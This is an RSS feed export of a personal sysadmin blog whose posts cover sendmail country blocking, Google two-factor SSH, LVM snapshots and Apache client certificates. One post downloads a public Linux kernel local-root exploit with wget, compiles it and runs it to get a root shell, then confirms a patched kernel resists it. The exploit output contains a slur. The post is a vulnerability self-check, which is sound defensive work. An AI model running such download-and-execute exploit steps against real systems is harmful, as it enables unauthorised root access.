<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">
<channel>
    
    <title>Just my Blog - Security</title>
    <link>http://blog.adslweb.net/serendipity/</link>
    <description>SELECT * FROM users WHERE clue &gt; 0</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.5 - http://www.s9y.org/</generator>
    <pubDate>Mon, 12 Dec 2011 16:29:07 GMT</pubDate>

    <image>
        <url>http://blog.adslweb.net/serendipity/templates/competition/img/s9y_banner_small.png</url>
        <title>RSS: Just my Blog - Security - SELECT * FROM users WHERE clue &gt; 0</title>
        <link>http://blog.adslweb.net/serendipity/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Block mail from certain countries with sendmail</title>
    <link>http://blog.adslweb.net/serendipity/article/289/Block-mail-from-certain-countries-with-sendmail</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/289/Block-mail-from-certain-countries-with-sendmail#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=289</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=289</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;If you have your own MTA running... you are probably known with the spam-problems... Once you&#039;ve tuned the filters, you have to do it again... because a new spam-run comes in. I also blocked whole /8 subnets in different countries (India/China/...)... but that is not a &amp;quot;real&amp;quot; solution... aka I want to block the whole country...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;The &amp;quot;DNSBL&amp;quot; &lt;a href=&quot;http://countries.nerd.dk&quot;&gt;countries.nerd.dk&lt;/a&gt;&amp;#160; allows you to do so... the map ip-adresses to countries based on whois-information... so on my MTAs I added the following lines to the mc sendmail file:&lt;/p&gt; &lt;br /&gt;
&lt;pre&gt;FEATURE(dnsbl,`br.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Brazil:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`in.countries.nerd.dk&#039;, `554 - Rejected - SPAM from India:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`kr.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Korea:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`cn.countries.nerd.dk&#039;, `554 - Rejected - SPAM from China:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`ro.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Romenia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`co.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Colombia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`mk.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Macedonia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`vn.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Vietnam:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`ru.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Russia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;p&gt;And within a few hours the first are already blocked... I hope this will reduce the amount of incomming spam at the &amp;quot;front door&amp;quot;. Because simply... I don&#039;t know people in these countries...&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 12 Dec 2011 17:28:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/289/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>CentOS 5 enabling Two-factor SSH authentication via Google</title>
    <link>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=286</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=286</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Today I noticed a very nice article about enabling &lt;a target=&quot;_blank&quot; href=&quot;http://www.techrepublic.com/blog/opensource/two-factor-ssh-authentication-via-google-secures-linux-logins/2607&quot;&gt;Google&#039;s two-factor authentication for Linux SSH&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small &#039;caveats&#039;.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;hg - Command&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So after having the EPEL repositories enabled, run as root:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;yum -y install mercurial &lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Compiling the PAM module&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; When you checked out the code. &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;You cannot compile directly the module... therefor you must apply a small change to the Makefile.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Change where &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib/libdl.so&lt;/font&gt;&lt;/strong&gt; is stated to &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib64/libdl.so&lt;/font&gt;&lt;/strong&gt; (3 occurrences)&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;make&lt;/strong&gt;&lt;br /&gt;$ &lt;strong&gt;sudo make install&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now you&#039;ve to update the &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/pam.d/sshd&lt;/font&gt;&lt;/strong&gt; so it contains:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;#%PAM-1.0&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_google_authenticator.so&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_nologin.so&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;password&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; optional&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_keyinit.so force revoke&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_loginuid.so&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Configure SSH&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;You also have to make sure that in &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/ssh/sshd_config&lt;/font&gt;&lt;/strong&gt; the following settings are set on yes:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ChallengeResponseAuthentication yes&lt;br /&gt;UsePAM yes&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And restart the SSH-daemon &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Set up your smartphone/credentials on the system&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;google-authenticator&lt;/strong&gt;&lt;br /&gt;https://www.google.com/chart?chs=200x200&amp;amp;chld=M|0&amp;amp;cht=qr&amp;amp;chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB&lt;br /&gt;Your new secret key is: SAEP64T5VZAVWAFB&lt;br /&gt;Your verification code is 376046&lt;br /&gt;Your emergency scratch codes are:&lt;br /&gt;&amp;#160; 67868696&lt;br /&gt;&amp;#160; 26247332&lt;br /&gt;&amp;#160; 54815527&lt;br /&gt;&amp;#160; 54336661&lt;br /&gt;&amp;#160; 71083816&lt;br /&gt;Do you want me to update your &amp;quot;~/.google_authenticator&amp;quot; file (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;Do you want to disallow multiple uses of the same authentication&lt;br /&gt;token? This restricts you to one login about every 30s, but it increases&lt;br /&gt;your chances to notice or even prevent man-in-the-middle attacks (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;By default, tokens are good for 30 seconds and in order to compensate for&lt;br /&gt;possible time-skew between the client and the server, we allow an extra&lt;br /&gt;token before and after the current time. If you experience problems with poor&lt;br /&gt;time synchronization, you can increase the window from its default&lt;br /&gt;size of 1:30min to about 4min. Do you want to do so (y/n)&lt;strong&gt; n&lt;/strong&gt;&lt;br /&gt;If the computer that you are logging into isn&#039;t hardened against brute-force&lt;br /&gt;login attempts, you can enable rate-limiting for the authentication module.&lt;br /&gt;By default, this limits attackers to no more than 3 login attempts every 30s.&lt;br /&gt;Do you want to enable rate-limiting (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And you&#039;re done &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Give it a try to SSH to that box...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;&amp;#160;TIP: Make sure you&#039;ve an SSH session still open... or you might lock yourself out of the system...&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 21 Jun 2011 14:16:57 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/286/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>The Linux Kernel exploit - become root by running 32bit code on a 64bit machine</title>
    <link>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=282</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=282</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I&#039;m vulnerable as well... just wanted to know how it works &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;mkdir /tmp/expl&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now run the binary:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff8030d360&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff80496c00&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff8030ec20&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff80499960&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff80485124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;/span&gt;&lt;br style=&quot;color: #ff1010; background-color: #ffff4c;&quot; /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP&lt;/span&gt;&lt;br /&gt;sh-3.2# &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;color: #ff1010;&quot;&gt;root&lt;/strong&gt;&lt;br /&gt;sh-3.2#&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Well... I don&#039;t like that... so... update the kernel, reboot and check again!&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff80327ac0&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff804b9540&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff80329380&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff804bc2a0&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff804a7124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!&lt;/span&gt;&lt;br /&gt;[pieter@testbox ~]$&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Oct 2010 08:30:14 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/282/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Creating Snapshots of a backup using LVM snapshot</title>
    <link>http://blog.adslweb.net/serendipity/article/277/Creating-Snapshots-of-a-backup-using-LVM-snapshot</link>
            <category>Herakles</category>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/277/Creating-Snapshots-of-a-backup-using-LVM-snapshot#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=277</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=277</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Normally I used to have a backup-retention-script in place that will create a TAR-ball of the backup data (using &lt;a target=&quot;_blank&quot; href=&quot;http://adslweb.net/tools/herakles&quot;&gt;Herakles&lt;/a&gt;). But this way I was not able to have a retention of longer then 3 days &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So I had to look into another solution, I could add a new harddrive in the server... but there should be something else possible. So I ended up by using LVM snapshots. So I created a Volume group of about 100GB. In that volume group I created a logical volume of about 30GB, which is enough (and if not, we can &#039;grow&#039; the Filesystem thanks to LVM &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; )&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;After having all that done, I&#039;ve created a script located in /root/scripts/lvm-snapshot. This script runs every midnight and creates a snapshot.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;# Create LVM Snapshots&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;CURRENT_SNAPNAME=&amp;quot;snap-&amp;quot;$(date &amp;quot;+%Y%m%d%H%M%S&amp;quot;)&lt;br /&gt;VOLUME2SNAPSHOT=&amp;quot;/dev/vol_backup/lvm0&amp;quot;&lt;br /&gt;LVMSNAPSHOTCMD=&amp;quot;/usr/sbin/lvcreate -L 2G -s -n $CURRENT_SNAPNAME $VOLUME2SNAPSHOT&amp;quot;&lt;br /&gt;LINE=&amp;quot;---------------------------------------------------------------------------------------------------------------------&amp;quot;&lt;br /&gt;&lt;br /&gt;echo $LINE&lt;br /&gt;df -h /mnt/data&lt;br /&gt;echo $LINE&lt;br /&gt;$LVMSNAPSHOTCMD 2&amp;gt; /dev/null&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;SNAPSHOT_RETENTION=15&lt;br /&gt;CURRENT_SNAPSHOT_COUNT=$(lvdisplay | grep &amp;quot;^&amp;#160; LV Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /dev/vol_backup/snap&amp;quot; | sort | awk &#039;{ print $3 }&#039; | wc -l)&lt;br /&gt;&lt;br /&gt;OVERFLOW=$(echo $CURRENT_SNAPSHOT_COUNT - $SNAPSHOT_RETENTION | bc)&lt;br /&gt;if [ $OVERFLOW -gt 0 ];&lt;br /&gt;then&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; echo $LINE&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; for files in&amp;#160; $(lvdisplay | grep &amp;quot;^&amp;#160; LV Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /dev/vol_backup/snap&amp;quot; | sort | awk &#039;{ print $3 }&#039; | head -n$OVERFLOW);&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; do&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /usr/sbin/lvremove -f $files 2&amp;gt; /dev/null&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; done&lt;br /&gt;fi&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;echo $LINE&lt;br /&gt;/usr/sbin/vgdisplay vol_backup&lt;br /&gt;echo $LINE&lt;br /&gt;/usr/sbin/lvdisplay $VOLUME2SNAPSHOT&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And the crontab entry is:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;# crontab -l&lt;br /&gt;0 0 &lt;strong&gt; &lt;/strong&gt; * /root/scripts/lvm-snapshot&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 22 Feb 2010 09:18:43 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/277/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Require client-SSL certificate for certain content.</title>
    <link>http://blog.adslweb.net/serendipity/article/265/Require-client-SSL-certificate-for-certain-content.</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/265/Require-client-SSL-certificate-for-certain-content.#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=265</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=265</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;On a kind of &amp;quot;intranet&amp;quot; website, which is secured with username/password combinations and HTTPS I&#039;ve implemented the next feature:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;- Authorized users can read everything on the website&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;- Files with in their filename &amp;quot;classified&amp;quot; requires a valid SSL-Client certificate...&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Here is the output of my apache config:&lt;/p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;Directory /usr/sites/ssl-site/intranet/htdocs&amp;gt;&lt;br /&gt;&amp;#160; Options Indexes MultiViews&lt;br /&gt;&amp;#160; AllowOverride Authconfig&lt;br /&gt;&amp;#160; Order allow,deny&lt;br /&gt;&amp;#160; Allow from all&lt;br /&gt;&amp;#160; AuthName &amp;quot;intranet&amp;quot;&lt;br /&gt;&amp;#160; AuthType &amp;quot;Basic&amp;quot;&lt;br /&gt;&amp;#160; AuthUserFile /usr/sites/ssl-site/intranet/etc/users.pwl&lt;br /&gt;&amp;#160; require valid-user&lt;br /&gt;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;LocationMatch .*(c|C)(l|L)(a|A)(s|S)(s|S)(i|I)(f|F)(i|I)(e|E)(d|D).+&amp;gt;&lt;br /&gt;&amp;#160; SSLVerifyClient require&lt;br /&gt;&amp;#160; SSLVerifyDepth 1&lt;br /&gt;&amp;#160; SSLOptions +OptRenegotiate&lt;br /&gt;&amp;lt;/LocationMatch&amp;gt;&lt;/font&gt;&lt;br /&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;I still have to sort out some issues, like directories having a directory with the name &amp;quot;classified&amp;quot; in them.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 20 May 2009 15:53:13 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/265/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>I guess I did something wrong...</title>
    <link>http://blog.adslweb.net/serendipity/article/253/I-guess-I-did-something-wrong...</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/253/I-guess-I-did-something-wrong...#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=253</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=253</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Last Friday I was playing around with one of my FreeBSD production servers. On that server I&#039;ve a number of users for e-mail and other services.&lt;/p&gt;&lt;p&gt;I was playing around as root, because I wanted to update/install some new stuff. But at a certain moment I found out that I was not able to login as a non-root user (nor as root). So first I&#039;ve changed the root-password and allowed root to login via SSH. Because I had a running session to that box via a screen-session I was able to do so.&lt;/p&gt;&lt;p&gt;But, still needed to figure out what went wrong.&lt;/p&gt;&lt;p&gt;Some while ago, &lt;a href=&quot;http://blog.adslweb.net/serendipity/article/237/Maintain-config-files-using-subversion&quot; target=&quot;_blank&quot;&gt;I&#039;ve start using subversion to make backups of my config-files&lt;/a&gt;. And as a standard procedure I make sure I&#039;ve an up to date version of the config-repository on my laptop and workstation. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;&lt;p&gt;I found out that the next files were modified:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/passwd&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/master.passwd&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/pwd.db&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face=&quot;courier 